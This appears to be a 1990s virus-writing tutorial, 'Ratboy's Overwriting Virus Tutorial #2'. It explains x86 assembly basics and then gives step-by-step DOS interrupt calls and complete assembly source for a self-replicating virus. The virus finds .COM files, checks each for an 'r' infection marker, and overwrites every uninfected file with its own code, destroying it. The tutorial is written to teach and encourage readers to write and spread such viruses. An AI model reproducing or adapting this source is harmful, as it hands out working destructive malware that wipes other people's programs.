405 lines
15 KiB
Plaintext
405 lines
15 KiB
Plaintext
/\---/\ RATBOY'S OVER WRITTING VIRUS TUTORIAL #2
|
|
( . . )
|
|
\ / WARNING: Information Contained Within Can Eat Both Your
|
|
\ / ^^^^^^^ Mind, Hard Drive and your dog.
|
|
\*/ I assume no responsiblity!!!!!!
|
|
#
|
|
|
|
Hello everyone!!!! Considering I have gotten positive responses about
|
|
Ratboy#1 I decided to continue on with your lessions in simple viruses.
|
|
So what is in store for this issue? We will be going over some terms to
|
|
help us in this issue. Also, we will move on to more complex overwriting
|
|
.Com viruses. If you read and understood Ratboy#1, you should understand
|
|
how to due simple file operations. Such as, you need to open the victum
|
|
for reading and writing, and if you are a ATF agent you need to open the
|
|
file to shoot it in the back like it was one of your own agents. You will
|
|
read how to read from your file, write to it, "tag" it, and more helpful
|
|
example code to help with your further learning of viruses. :) Yea!!
|
|
|
|
Now the boreing parts:
|
|
|
|
What is a JMP (jump)?
|
|
A jump is kinda like what it sounds like, a jump. Since we know
|
|
that an assembly source reads top to bottom, sometimes we need to
|
|
skip around in a program depending on the situation. Here's a simple
|
|
example:
|
|
|
|
call delta_offset
|
|
delta_offset:
|
|
pop bp
|
|
sub bp,delta_offset
|
|
jmp restore ;<===this is a jump :)
|
|
eat_hd:
|
|
"blah"
|
|
"blah"
|
|
|
|
As you can see, in the example, we jumped over eat_hd and anything
|
|
else that was between the jump and restore. A real simple
|
|
explanation of how a jump works is like this. A jump when put
|
|
together by the assembler, well be converted to a jump without
|
|
the label but a displacement. Like this:
|
|
|
|
jmp anywhere
|
|
|
|
Really means jmp 45 bytes
|
|
|
|
As you can see the number is postive so it a foward jump (negative
|
|
would be backwards). Now I think I'm getting too far, I just wanted
|
|
you to understand it's a displacement. I'm not even going into
|
|
conditional jumps since I did say in the Ratboy#1 you do need to
|
|
understand Assembly. I know a lot of this should be old hat, but
|
|
bare with me for now. :)
|
|
|
|
I was recently asked what is a CALL?
|
|
A call is like a jump with a return address. When a Call is made,
|
|
the next line offset(address) is pushed into the stack, and a jump
|
|
to the place called is made. Once there, you can return by using
|
|
RET. This RET will pop the return address off the stack and jump
|
|
there.
|
|
Simple example:
|
|
|
|
mov al,02h
|
|
call mov_ptr ;<==the next line's address it put into
|
|
;the stack (that would be eat_hd) and a
|
|
;jump is made to mov_ptr
|
|
eat_hd:
|
|
"blah"
|
|
"blah"
|
|
"blah"
|
|
jmp exit ;<==simple review, how does this work?
|
|
|
|
mov-ptr:
|
|
"blah"
|
|
"blah"
|
|
"blah"
|
|
ret ;ah..now the return address(eat_hd) is
|
|
;popped off the stack and a jump is made
|
|
;to it
|
|
|
|
Another question was what is an OFFSET?
|
|
Since we are so far just dealing with .Com files make this real
|
|
simple. An offset is like an address. If you know where you live,
|
|
then you understand how and address works.
|
|
Simple Simple Example:
|
|
|
|
Where does Debby live?
|
|
Oh, on 16th St. and 5th Ave. (that is an example of an Offset)
|
|
Review:
|
|
Where does Debby live?
|
|
Oh, go down three blocks and the third house on the left.
|
|
(this is an example of a jump, see the displacement?)
|
|
|
|
Another question is what is LEA?
|
|
LEA stands for Load Effective Address. Yarn! Too technical. Here's
|
|
how it works. Remember in Ratboy#1 when looking for a file, you
|
|
needed to load the file type(*.com) offset into dx, like this:
|
|
|
|
mov dx,offset file_type
|
|
|
|
well you can do this instead:
|
|
|
|
lea dx,file_type
|
|
|
|
Nuff said. Practice with it, see its ranges of use.
|
|
|
|
Ok I know some one must have fallen asleep, if this bores you just go ahead
|
|
and read Dark Angel's Virus Writing Guides, maybe they are up to speed with
|
|
you.
|
|
|
|
How can I speed up my programs?
|
|
Simple, kinda think of speed as being the least amount of bytes
|
|
nessary for you to carry out the job.
|
|
example:
|
|
|
|
mov ax,0 ;3 bytes
|
|
sub ax,ax ;2 bytes
|
|
|
|
So which one would you figure to be the faster. I used sub ax,ax
|
|
since I don't want to even go into explaining XOR, but XOR AX,AX
|
|
will do the samethin. Do some reading up on it, you'll need it for
|
|
encryption later on in your virus writing carreer. The Sub should
|
|
make sense, subtract a number from itself = 0.
|
|
|
|
Also here's another way of putting what is AX in BX.
|
|
|
|
Instead of saying:
|
|
mov bx,ax ;2 bytes
|
|
|
|
say:
|
|
xchg bx,ax ;1 byte
|
|
|
|
Ya get it?
|
|
|
|
Now down to the exciting part of doing something. Yea!!!!
|
|
|
|
Ok in the last issue if you made your virus and you noticed that it infected
|
|
the first file and not any others, that's because it was real simple. This
|
|
time we will teach your little life form how to determine if the file is
|
|
already infected. Now how do you make sure you know which underwear are
|
|
your's at summer camp, your mom sewed your name inside of them. If you are
|
|
over 30 and your mom still does this, you are a geek. No arguements, you are
|
|
a Geek.
|
|
|
|
Ok, we need to put in, the infected file, some type of marker, so that we
|
|
can later read it. Let's keep this simple, since ofcourse that's the motive
|
|
of this tutorial. I will use the letter "r" for RaTBoY. We will put
|
|
that "infection marker" right after the jump. So it will kinda look like
|
|
this:
|
|
virus_start:
|
|
jmp find_first
|
|
me db 'r'
|
|
find_first:
|
|
"blah"
|
|
"blah"
|
|
|
|
Ya see it? Now we will go on. Since to do it all you have to do is put the
|
|
Me db 'r' in the front of your virus. Now we need to put that jump in
|
|
there, for the file to go over the 'r' and start looking for the file. All
|
|
the virus needs to do is read the first four bytes of a file, and check if
|
|
the 4th (jmp + offset = 3bytes) byte to identify if it's already infected.
|
|
|
|
Now let's look at the order of operations. For you english majors this is
|
|
outline. :)
|
|
|
|
|
|
(I) find file
|
|
(a)no files to infect...EXIT
|
|
(II) open file for reading
|
|
(III) read first four bytes
|
|
(IV) close file
|
|
(V) compare to id byte(infection marker)
|
|
(a) if infected already:
|
|
1. setup to find next file
|
|
2. goto step I
|
|
(b) if not infected continue on
|
|
(VI) open file for read/write
|
|
(VII) write self to file
|
|
(VIII) close file
|
|
(IX) exit
|
|
|
|
Now that should not be such a differcult virus to make. Some of this
|
|
material will be review for you and a chance to see if you can still
|
|
understand everything clearly.
|
|
|
|
-=Step I=-
|
|
~~~~~~
|
|
Now of course we need to find the first file. Here are the required inputs:
|
|
|
|
ah = 4eh
|
|
cx = atributes
|
|
dx = file type (ie. *.com)
|
|
int 21h
|
|
|
|
if the carry flag is set then there were no files, so if:
|
|
jc exit ;jump to exit if no files
|
|
not bad if you can remember this off the top of your head. I think I went
|
|
over this well enough in Ratboy#1, so not to bore you I go on.
|
|
|
|
-=Step II=-
|
|
~~~~~~~
|
|
Now we need to open that file to read and write to it. Inputs are:
|
|
|
|
ax = 3d00h ;remember the value of AL will setup
|
|
;for the access you want
|
|
;al = 00h(read only)
|
|
;al = 01h(write only)
|
|
;al = 02h(read/write)
|
|
dx = offset address of file name
|
|
int 21h
|
|
Returns:
|
|
ax = file handle (or error code..nah can't happen)
|
|
|
|
Now do you remember where we get that file name? Why of course you know
|
|
this, it's in the DTA. Now since we didn't mess with it, it should be
|
|
at 80h in the Program Segment Prefix (PSP). So if you know that and you've
|
|
read Ratboy#1 where do we look for the address of the file name?
|
|
That's right 9eh. Remember to put the file handle in BX where we will use it
|
|
later(ie. xchg bx,ax) Since we went over this in Ratboy#1 we'll go on.
|
|
|
|
-=Step III=-
|
|
~~~~~~~~
|
|
Now comes something new. We will read the first four bytes of the victum
|
|
file, and put it in our buffer, HOLDN_PLACE. Here's the function's inputs:
|
|
|
|
ah = 3fh
|
|
bx = file handle
|
|
cx = bytes to read
|
|
dx = offset of buffer(buffer = the place you put the read byte(s))
|
|
int 21h
|
|
|
|
Here's how it would look in your virus:
|
|
***Remember that at the end of step two we put the file handle in bx***
|
|
|
|
mov ah,3fh
|
|
mov cx,4
|
|
lea dx,holdn_place
|
|
int 21h
|
|
|
|
and ofcourse at the end to the virus:
|
|
holdn_place db ?,?,?,?
|
|
|
|
-=Step IV=-
|
|
~~~~~~~
|
|
Close up the file. So if it's infected, we just move on. If the file is not
|
|
infected, we open it up for read and write access. Inputs:
|
|
|
|
ax = 3eh
|
|
int 21h
|
|
|
|
Simple enough?
|
|
|
|
-=Step V=-
|
|
~~~~~~
|
|
Now we will compare the four bytes of the possible victum to the id byte.
|
|
|
|
cmp byte ptr [holdn_place +3],'r' ;told ya I would use a 'r'
|
|
jnz open_it_again ;if not same then time to infect
|
|
mov ah,4fh ;now we set up ah with 4fh(find next)
|
|
;we could use a whole new find file routine but we will
|
|
;use the the one from find first, just that now ah=4fh
|
|
;if that confused you read the source for the setup.
|
|
|
|
-=Step VI=-
|
|
~~~~~~~
|
|
Now since it passed the test of not being infected, just reopen it.
|
|
This time so we can write to it. :) Then inputs:
|
|
|
|
ax = 3d02h
|
|
dx = offset of file name
|
|
int 21h
|
|
|
|
Just to go over it one more time here's what it will look like:
|
|
|
|
mov ax,3d02h
|
|
mov dx,9eh ;That's where the file name is in the DTA
|
|
int 21h
|
|
xchg bx,ax ;remember to put that file handle in BX :)
|
|
|
|
-=Step VII=-
|
|
~~~~~~~~
|
|
Of course this write to victum part should be real old hat for ya, since
|
|
this is the part that seperates a lame trojan from a |< 00\_ virus.
|
|
write to file inputs:
|
|
|
|
ah = 40h(hey isn't that a magazine?)
|
|
cx = number of bytes to write(size of virus)
|
|
bx = file handle(victum)
|
|
dx = offset address of buffer(beginning of virus)
|
|
|
|
If unfamiliar with writing to file, just wait and look over the source at
|
|
the end of this file.
|
|
|
|
-=Step VIII=-
|
|
~~~~~~~~~
|
|
Close file....sorry if this is getting repetative, but that is the sign of
|
|
you learning how to do this real well. Inputs:
|
|
|
|
ah = 3eh
|
|
bx = file handle(victum)
|
|
|
|
-=Step IX=-
|
|
~~~~~~~
|
|
Exit. Here's a real easy way:
|
|
|
|
INT 20h
|
|
|
|
Well that is enough of that piece by piece construction. Let's look at the
|
|
finish part.
|
|
|
|
;Ratboy tutorial over writer #2 virus
|
|
|
|
code segment ;these part should look familar
|
|
assume cs:code,ds:code
|
|
org 100h
|
|
virus proc near
|
|
|
|
virus_start:
|
|
jmp find_first
|
|
db 'r' ;there's that id byte
|
|
|
|
find_first: ;load ah with 4eh for finding first
|
|
mov ah,4eh ;file like the file_type
|
|
|
|
find_file:
|
|
xor cx,cx ;this put a 0 in cx, remember? The 0
|
|
;means look for normal attributes
|
|
lea dx,file_type ;sets up for what type of file we're
|
|
;looking for, *.com
|
|
int 21h
|
|
jc exit ;no files, time to leave.
|
|
|
|
open_file:
|
|
mov ax,3d00h ;open file found for reading from.
|
|
mov dx,9eh ;the file name is in the DTA
|
|
int 21h
|
|
xchg bx,ax ;remember that ax will return with the file
|
|
;handle, and we need that is bx :)
|
|
read_file:
|
|
mov ah,3fh ;read file
|
|
mov cx,4 ;four bytes
|
|
lea dx,holdn_place ;that's where it's going.... ;)
|
|
int 21h
|
|
|
|
close_it_up:
|
|
mov ah,3eh ;just like it says
|
|
int 21h
|
|
|
|
compare:
|
|
cmp byte ptr[holdn_place + 3],'r' ;check if there is a 'r'
|
|
jnz open_it_up_again ;not there ok let's infect
|
|
|
|
mov ah,4fh ;ok let's setup to look for another file
|
|
jmp find_file ;ah..you see how we will be using find_file
|
|
;but this time ah=4fh not 4eh. See how it's
|
|
;different, but the same.
|
|
open_it_up_again:
|
|
mov ax,3d02h ;Alright, we have a live one here!!!!
|
|
mov dx,9eh ;let's get that file name again
|
|
int 21h
|
|
xchg bx,ax ;yup, once again.
|
|
|
|
infect:
|
|
mov ah,40h
|
|
mov cx,offset endvx - offset virus_start
|
|
;the end minus the beginning gives the lenth
|
|
;of the virus. #of bytes to write.
|
|
lea dx,virus_start ;the virus's begining so this tells where to
|
|
;to start writing from and bx contains the
|
|
;file handle, where to write to.
|
|
int 21h
|
|
|
|
close_victum:
|
|
mov ah,3eh ;now let's close up the victum
|
|
int 21h
|
|
|
|
exit: int 20h ;time to exit, later!!!
|
|
|
|
file_type db "*.com",0
|
|
holdn_place db ?,?,?,?
|
|
endvx label near
|
|
virus endp
|
|
code ends
|
|
end virus_start
|
|
|
|
I really do hope that this tutoral has been helpful to you. Remember if you
|
|
find this boring. Then you know enough write effective overwriting viruses,
|
|
and you should move on to other types of virus.
|
|
|
|
Now remember the best teacher in virus writer is yourself practicing. So if
|
|
you want to try something different, try it. Just don't do it in your DOS
|
|
directory. :)
|
|
|
|
Also Included with this file: sources to overwriters and Ratboy viruses.
|
|
You still need an Assembler, Bait files, a good reference book and not
|
|
to forget good people to ask a lot of dumb questions to. Like I do. :)
|
|
|
|
Of course that usual ending where I thank all those that have helped me:
|
|
|
|
-=GOD: I woke up breathing today. :)
|
|
-=Mrs. Ratboy: For putting up with me ;)
|
|
-=FC: For all the help dude!!!!!!!!!!!!
|
|
-=Aristotle: No Aristotle I didn't mean you when I said GOD, but Thanks.
|
|
-=M.P.: Love ya software, Invircible.
|
|
-=Thanks to these guys and groups: Virogen, Terminal Velocity, NuKE, Falcon,
|
|
Vlad, Immortal Riot, P/S, ACVR, and every virus writer I didn't mention!!!
|